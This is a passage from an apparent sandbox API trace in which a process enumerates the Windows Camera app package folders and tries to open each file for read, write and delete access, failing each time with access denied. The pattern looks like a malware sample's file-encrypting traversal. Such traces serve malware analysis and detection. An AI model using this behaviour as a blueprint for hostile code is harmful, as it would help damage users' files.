	[0082.645] FindNextFileW (in: hFindFile=0x46a8358, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91aa5e6e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf0eba822, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0eba822, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.645] wcscmp (_String1="..", _String2=".") returned 1
	[0082.645] wcscmp (_String1="..", _String2="..") returned 0
	[0082.645] FindNextFileW (in: hFindFile=0x46a8358, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91d2e67d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91d2e67d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91d2e67d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.645] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.645] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.645] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x4774430
	[0082.645] wcscpy (in: _Dest=0x4774430, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe"
	[0082.645] wcscat (in: _Dest=0x4774430, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.645] wcscat (in: _Dest=0x4774430, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.281] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.281] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.281] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.281] GetLastError () returned 0x5
	[0090.281] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4774430) returned 1
	[0090.281] FindNextFileW (in: hFindFile=0x46a8358, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91aa5e6e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1ad3afc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91aa5e6e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.281] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.281] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.281] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e115a0
	[0090.281] wcscpy (in: _Dest=0x2e115a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe"
	[0090.281] wcscat (in: _Dest=0x2e115a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.281] wcscat (in: _Dest=0x2e115a0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477eb90
	[0090.282] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.282] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.282] wcscat (in: _Dest=0x477eb90, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0090.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0090.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91aa5e6e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1ad3afc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91aa5e6e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0090.282] wcscmp (_String1=".", _String2=".") returned 0
	[0090.282] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91aa5e6e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1ad3afc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91aa5e6e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.282] wcscmp (_String1="..", _String2=".") returned 1
	[0090.282] wcscmp (_String1="..", _String2="..") returned 0
	[0090.282] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91aa5e6e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91acc0d1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91acc0d1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x45e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0090.282] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0090.282] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0090.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x50278d0
	[0090.282] wcscpy (in: _Dest=0x50278d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.282] wcscat (in: _Dest=0x50278d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.282] wcscat (in: _Dest=0x50278d0, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.282] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.284] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.285] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.285] GetLastError () returned 0x5
	[0090.285] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50278d0) returned 1
	[0090.285] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91aa5e6e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91acc0d1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91acc0d1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x45e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.285] FindClose (in: hFindFile=0x477a7a8 | out: hFindFile=0x477a7a8) returned 1
	[0090.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502b608) returned 1
	[0090.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e115a0) returned 1
	[0090.285] FindNextFileW (in: hFindFile=0x46a8358, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91d2e67d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91d2e67d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91d2e67d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.285] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.285] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e33f58
	[0090.285] wcscpy (in: _Dest=0x4e33f58, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe"
	[0090.285] wcscat (in: _Dest=0x4e33f58, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.285] wcscat (in: _Dest=0x4e33f58, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.285] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.287] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.287] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.287] GetLastError () returned 0x5
	[0090.287] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.288] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33f58) returned 1
	[0090.288] FindNextFileW (in: hFindFile=0x46a8358, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf0eba822, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf0eba822, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0eba822, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.288] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.288] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.288] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x5028320
	[0090.288] wcscpy (in: _Dest=0x5028320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe"
	[0090.288] wcscat (in: _Dest=0x5028320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.288] wcscat (in: _Dest=0x5028320, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.288] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5026958
	[0090.288] wcscpy (in: _Dest=0x5026958, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.288] wcscat (in: _Dest=0x5026958, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0090.288] wcscat (in: _Dest=0x5026958, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0090.288] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0090.288] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf0eba822, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf0eba822, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0eba822, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0090.290] wcscmp (_String1=".", _String2=".") returned 0
	[0090.290] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf0eba822, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf0eba822, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0eba822, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.290] wcscmp (_String1="..", _String2=".") returned 1
	[0090.290] wcscmp (_String1="..", _String2="..") returned 0
	[0090.290] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf0eba822, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf0eba822, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0eba822, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.290] FindClose (in: hFindFile=0x477a7a8 | out: hFindFile=0x477a7a8) returned 1
	[0090.290] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0090.290] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026958) returned 1
	[0090.290] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028320) returned 1
	[0090.291] FindNextFileW (in: hFindFile=0x46a8358, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf0eba822, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf0eba822, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0eba822, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0090.291] FindClose (in: hFindFile=0x46a8358 | out: hFindFile=0x46a8358) returned 1
	[0090.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502aed0) returned 1
	[0090.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4770f78) returned 1
	[0090.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a268) returned 1

Thread:
	id = 1033
	os_tid = 0x1c94

	[0082.645] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481b7e0
	[0082.645] wcscpy (in: _Dest=0x481b7e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe"
	[0082.645] wcscat (in: _Dest=0x481b7e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\"
	[0082.645] wcscat (in: _Dest=0x481b7e0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\*"
	[0082.656] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b138
	[0082.656] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x502b138 | out: lpFindFileData=0x502b138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91d7ab3d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf0eba822, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0eba822, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8398
	[0082.657] wcscmp (_String1=".", _String2=".") returned 0
	[0082.657] FindNextFileW (in: hFindFile=0x46a8398, lpFindFileData=0x502b138 | out: lpFindFileData=0x502b138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91d7ab3d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf0eba822, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0eba822, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.657] wcscmp (_String1="..", _String2=".") returned 1
	[0082.657] wcscmp (_String1="..", _String2="..") returned 0
	[0082.657] FindNextFileW (in: hFindFile=0x46a8398, lpFindFileData=0x502b138 | out: lpFindFileData=0x502b138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91da0d89, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91da0d89, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91da0d89, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x738b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.657] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.657] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.657] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x46a51d0
	[0082.657] wcscpy (in: _Dest=0x46a51d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe"
	[0082.657] wcscat (in: _Dest=0x46a51d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\"
